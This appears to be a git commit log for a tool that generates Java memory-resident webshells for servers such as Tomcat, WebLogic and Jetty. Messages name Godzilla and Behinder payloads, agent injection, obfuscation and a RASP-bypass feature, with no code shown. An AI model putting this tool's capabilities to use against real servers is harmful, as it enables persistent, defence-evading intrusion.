ReaJason d8851ba83e refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 89ee25fd1a fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason ec9aa97c83 fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason 22f365b3a0 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 52f235cbaf chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d33323cfda chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 4decc08ddc fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 38219261a3 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason b3fef201f7 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason 642a84d711 refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason c74856f3ee chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 19b385478b test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason ab1a214d28 refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason db96872fa4 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason bb4bcb956c fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason 4eff36571c fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 53849f17fe fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 14dbbd9f9e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 60b36f926c build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason a1fec396ba refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason 2f8ab27ee2 build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason fbdc58390a perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 288b6df8e4 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 1116486f37 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason c925954035 feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason 8c06216e96 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason 64c71d6adb refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 94b6b006b2 chore: 1.10.0
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-06-07 14:35:53 +08:00
ReaJason e4552dc804 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 57b5960350 docs: update README 2025-06-07 14:35:13 +08:00
ReaJason 4dbd22eae2 docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason 59f2ac5f37 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 5b48350fdc chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason e4691a29f5 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason f74971530c fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason a95cd07b22 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason d5aec65d9b refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason 0c7dadc4f4 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 6b33cfb0fe feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 18d7cde49b fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason ac34d44abd refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason b7b1f2b60c fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason 1c1cc9bb9f refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason 2d6b45bf0c test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 95cfc94276 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason d1dec18110 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason 36ee7212f3 refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason 2852ab03d3 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason a655968fb3 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason 081efc1633 chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 83f9200c89 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason 82f955e419 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason db5b8d328c test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 532b5af52c test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 147a9b6c27 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 0452c36145 feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason d736aeb7a7 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 9927e6b7fb refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason 7ea62f3961 fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 4e1461b83d docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 65fe194c4a docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason 921928f21c chore: 1.9.0
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-05-28 01:22:54 +08:00
ReaJason dfd91aecc6 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 0f45c43e71 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 7b2329de45 fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason dba1b68c23 style: lint 2025-05-28 01:22:54 +08:00
ReaJason 558e386ede chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason f9c1ac9535 refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason ba690268e7 fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason df6125c046 refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason 55e2b2f5a6 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason bc9998c682 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason c094009b5c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason e7666844df feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason f2c4d16278 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason be3ec77e11 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 50707e1fb9 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason 34198a5c90 feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason 88732d9a81 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason d115656a0c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 2beeb709b5 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason 6b670ffec4 feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason ebd1bebf2f test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason be63177268 feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason 77b4ffaf36 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason bbca89c8cf docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 483bebc2fc fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason d669a728c4 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason d2f2809119 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason d4df2f6ed7 feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason f349586e09 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason cb39b9f26b fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason fc3ee3e33f feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 7bbe433ecc refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 4c2cd4e409 docs: update CHANGELOG
Test / UniteTest (push) Has been cancelled
Test / docker-build-test (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-05-14 01:29:12 +08:00
ReaJason 0fe5ffe993 ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason 730782ed9a chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 0dd339fa2a docs: update 2025-05-14 00:47:22 +08:00
ReaJason eebc422503 refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason bd55fce38c chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 09f3258dd6 test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason c0c547a738 test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason de2ff819b6 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason b52d7f4a83 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason 8b9360905c feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason 5c5a0805e9 fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason b304bae628 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason d52f4726aa test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason 838bfa0e8a feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason f289b0a3a5 fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 2c16361da9 feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason d517abdea5 refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 1cdb231a95 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason e231c480da fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason 832124a368 fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason ceb19d2dae feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason b341082f2b fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason 086ea3bf2e chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 831e3d34d5 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason 7e77f02379 feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 6933163575 fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason a883c9914e test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 9fb653b6f8 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason ba9424c97e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 7e27d71f52 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 3e3e35cf9f style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 8b19f1aba3 test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 75979242fb ci: speed up integration test
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks: middleware:xxljob]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar middleware:spr… (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar middleware:springwebflux]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war middleware:tomcat]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:glassfish]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:jetty]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:payara]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war :vul:vul-webapp-jakarta:war middleware:wildfly]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbossas]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:jbosseap]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:resin]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:weblogic]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere7]) (push) Has been cancelled
Test / ${{ matrix.cases.middleware }} (map[depend_tasks::vul:vul-webapp:war middleware:websphere]) (push) Has been cancelled
2025-04-23 00:41:10 +08:00
ReaJason d69d8b7635 feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason 6570b191ea test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 3b1cd86655 test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason aee8dbe8e0 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason d8079e5d0f fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason a5a5780eac build: upgrade bun image version for fast build
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-16 20:47:05 +08:00
ReaJason e005d30362 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 3f2749a05d docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 02412f8681 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 2441e38bee docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 60a3dd9da1 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason 0214a6f814 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason c27be9a8a5 refactor: format code
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-12 21:48:23 +08:00
ReaJason 5218526279 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason a9e197828e docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason 08d187500c docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason c5f5b46daf docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 7ea16b924f docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason bc6702405b docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 2b98280676 docs: add maven central badge
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-04-06 19:07:24 +08:00
ReaJason 1db4142d48 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason a8330d6af3 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason 7254ba7905 chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
ReaJason b25fd4779a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason d5fbff14d5 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason 78ba0da3a3 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 27227f1622 test: revert error 2025-04-06 13:55:17 +08:00
ReaJason 272f9f6c49 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason accee05504 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason fe8e77440d test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 318e30a61d ci: update name 2025-04-06 13:55:17 +08:00
ReaJason 7572bb8018 feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason 79397c191a refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason 6a08b9220a refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason b003bb683b fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason e05d8ac106 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 0f798b367f feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason fa206e8acc refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason cd231c5af7 revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 075053c38b chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8d9f906dcc fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason 0f87083048 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 94432d9c14 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 6a69bbbda4 docs: update screenshots
Test / UniteTest (push) Has been cancelled
Test / ${{ matrix.middleware }} (glassfish) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbossas) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jbosseap) (push) Has been cancelled
Test / ${{ matrix.middleware }} (jetty) (push) Has been cancelled
Test / ${{ matrix.middleware }} (payara) (push) Has been cancelled
Test / ${{ matrix.middleware }} (resin) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springmvc) (push) Has been cancelled
Test / ${{ matrix.middleware }} (springwebflux) (push) Has been cancelled
Test / ${{ matrix.middleware }} (tomcat) (push) Has been cancelled
Test / ${{ matrix.middleware }} (weblogic) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere) (push) Has been cancelled
Test / ${{ matrix.middleware }} (websphere7) (push) Has been cancelled
Test / ${{ matrix.middleware }} (wildfly) (push) Has been cancelled
Test / ${{ matrix.middleware }} (xxljob) (push) Has been cancelled
2025-03-30 16:31:32 +08:00
ReaJason cb77ca44b2 docs: update README 2025-03-30 16:17:55 +08:00
ReaJason d4629f191e docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason d54bd801ab test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 0cb8dad52a feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason d57e691e1f feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e3a59e9f21 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason 3d2f65a808 test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 4ee5d69b31 docs: update README 2025-03-30 15:33:31 +08:00
ReaJason 17fe4b4746 refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason e8124c02cc feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 52b8000bc7 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason ee3e257f9d test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason 045f6be5d7 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason af5001dee3 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 010db58a57 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason 5965f372b0 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 61f199dbe1 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 9b63ee441a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason 65414fcdd6 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason fe5f662fc2 chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason ad4436702e docs: update 2025-03-30 15:33:31 +08:00
ReaJason 78d390e975 perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason 29f5f4285f style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason e4c29fdd0f fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason b8da9d7468 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 60e755cc39 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason 35bc198f48 chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason bcc50cc2f5 chore: rm files 2025-03-30 15:33:31 +08:00
